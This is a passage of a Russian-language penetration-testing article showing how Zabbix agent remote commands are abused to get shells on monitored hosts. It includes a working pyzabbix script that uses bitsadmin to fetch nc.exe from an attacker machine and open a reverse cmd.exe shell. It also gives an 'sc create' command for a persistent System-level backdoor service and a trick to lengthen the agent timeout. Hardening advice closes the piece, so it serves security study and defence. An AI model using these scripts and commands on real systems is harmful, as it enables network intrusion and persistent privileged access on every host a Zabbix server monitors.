Результат работы скрипта
Как это выглядит в web-интерфейсе
Результат подключения к созданному шеллу
В итоге был получен шелл с правами того пользователя, который запускает Zabbix-агента.
Но этот шелл не является постоянным, поэтому нужно попытаться создать на его основе новый шелл, который уже не будет зависеть от параметров Zabbix. Сделать это можно разными способами, один из которых – создать сценарий, который запустится в определенное время (командой at, например).
Сам процесс можно посмотреть тут.
Однако самый интересный способ будет рассмотрен для Windows, потому что по умолчанию в Windows Zabbix-агент устанавливается и запускается как служба с правами System.
Права Zabbix-агента
С учетом этого, любое приложение, запущенное агентом, будет также запущено с правами System. Вектор атаки при этом несколько усложнится:
- Запускаем прослушку порта в kali:
# nc -lvvnp 5555
- Создаем при помощи Zabbix задачу, которая загрузит на компьютер жертвы утилиту для шелла (будем использовать netcat для Windows) с компьютера злоумышленника (при помощи bitsadmin, для скачивания придется настроить Apache в Kali — и не забыть его запустить!):
from pyzabbix import ZabbixAPI, ZabbixAPIException
import sys
api_address=raw_input("enter correct URL to api_jsonrpc.php, like http://192.168.56.102/zabbix/api_jsonrpc.php"": \n")
user= raw_input("enter username: \n")
password= raw_input("enter password: \n")
host_name=raw_input("enter hostname: \n")
# hostid=raw_input("enter hostid: \n")
zapi = ZabbixAPI(api_address) # user='Admin', password='zabbix')
# Login to the Zabbix API
zapi.login(user, password)
# host_name = 'Zabbix_server'
# host_name = "windows host"
hosts = zapi.host.get(filter={"host": host_name}, selectInterfaces=["interfaceid"])
if hosts:
host_id = hosts[0]["hostid"]
print("Found host id {0}".format(host_id))
try:
item = zapi.item.create(
hostid=host_id,
name='netcat_create_reverse_shell',
key_='system.run["bitsadmin.exe /transfer /download http://192.168.56.100/nc.exe C:\\Temp\\nc.exe && C:\Temp\\nc.exe 192.168.56.100 5555 -e cmd.exe"]',
type=0,
value_type=4,
interfaceid=hosts[0]["interfaces"][0]["interfaceid"],
delay=30
)
except ZabbixAPIException as e:
print(e)
sys.exit()
print("Added item with itemid {0} to host: {1}".format(item["itemids"][0], host_name))
else:
print("No hosts found")
Результат работы скрипта
Реакция Zabbix
Проверка шелла
Шелл получен с параметрами System, однако он будет периодически обрываться. Это связано с параметром Timeout, который по умолчанию в конфиге агента не определен и составляет 3с. За это время сложная команда просто не успеет выполнится. Поэтому параметр Timeout был принят за 30с, о чем было предупреждено в начале статьи.
В принципе, злоумышленник сам может добавить значение опции Timeout=30 (по умолчанию опция Timeout закомментирована), просто дописав строку Timeout=30 в конец файла zabbix_agentd.conf. Агент запущен как служба – следовательно, файл он менять может, достаточно прописать ему на сервере соответствующую задачу. Например добавить item, который будет с помощью удаленных команд дописывать нужные строки в конец конфигурационного файла.
Теперь нужно попытаться создать постоянный шелл, для чего создадим службу (права позволяют), которая тоже будет поднимать туннель с помощью nc. Сформируем команду для создания службы, сохраним ее в файл, а затем перенаправим его на вход nc (файл service.txt):
sc create reversencbackdoor binpath= "cmd /C C:\Users\Public\nc.exe 192.168.56.100 6666 -e cmd.exe" type= own start= auto DisplayName= "NC service backdoor"
Для управления службой используем аналогичный подход, изменив некоторые команды (файл service_run.txt):
- sc query reversencbackdoor
- sc stop reversencbackdoor
- sc start reversencbackdoor
Результат — успешное создание службы
Попытаемся подключиться к созданной службе: включаем прослушивание на порту 6666 и запускаем службу, без этого она стартует и сразу завершает свою работу.
Включение прослушивания
В другом окне отправляем службе команду на запуск
По порту 5555 программа nc запущена Zabbix-агентом, следовательно, шелл обрывается, как и отмечено выше, из-за особенностей таймаута выполнения команд агентом. А служба стартует с параметрами System — и шелл не обрывается.
Безобрывный шелл
Сам процесс можно посмотреть тут.
Какие можно сделать выводы из всего вышеописанного ?
- При определенных настройках злоумышленник может перехватить zbx_sessionid и закрепиться в системе Zabbix.
- Используя особенности работы Zabbix-агента, злоумышленник (при определенных настройках агента) может проникнуть на все ПК, которые мониторятся Zabbix-сервером.
Как всегда, ноги большинства угроз безопасности растут из ошибок конфигурации, а система мониторинга является таким компонентом, неправильная (с точки зрения безопасности) конфигурация которого может критически повлиять на безопасность всех компонентов сети.
Поэтому стоит озаботиться защитой передаваемых данных.
Вот несколько рекомендаций по настройке сервера Zabbix:
- Усложните жизнь злоумышленнику — не используйте стандартные порты для работы Zabbix-сервера.
- Удалите с сервера утилиты, которые позволят злоумышленнику быстро пробросить туннель. Вообще надо обязательно очищать сервер от лишних утилит, которые может использовать злоумышленник.
- Разделите привилегии учетных записей пользователей в Zabbix. Отключите неиспользуемые учетные записи на Zabbix-сервере (guest надо выключить в первую очередь); по возможности, сделайте отдельную учетку для мониторинга параметров и отдельную — для администрирования, не забывайте переодически менять пароль у учетных записей и закрывать админскую сессию после работы в web-интерфейсе (сбрасывается zbx_sessionid).
- Настройте аудит событий в Zabbix-сервере, чтобы фиксировать и отслеживать события безопасности, про настройки можно прочитать тут.
- По возможности, изолируйте Zabbix-сервер от тех компонентов, которые злоумышленник может использовать в качестве точки входа в корпоративную сеть. Например, вынести сервер Zabbix в DMZ и настроить Zabbix proxy для пересылки на него информации. Подробнее про Zabbix proxy можно почитать тут.
- Настройте отправку оповещения о критических событиях, для этого в Zabbix есть достаточно широкие возможности
Безопасность агента Zabbix также требует пристального внимания:
- Усложните жизнь злоумышленнику, не используйте стандартные порты для работы Zabbix-агента.
- На Windows агент Zabbix запускается как служба, лучше сделать для нее отдельного пользователя. Иначе служба будет запущена с параметрами системной учетной записи.
- Задумайтесь, а так ли Вам нужен запуск удаленных команд с помощью Zabbix? Если нет — то отключите эту возможность.
- Настройте шифрование данных в конфиге агента.
Настройка безопасного доступа и повышение безопасности в Zabbix – это тема отдельной статьи (а возможно и не одной), будет время — обязательно об этом напишу.
P.S. Огромное спасибо sabotaged за помощь в подготовке статьи!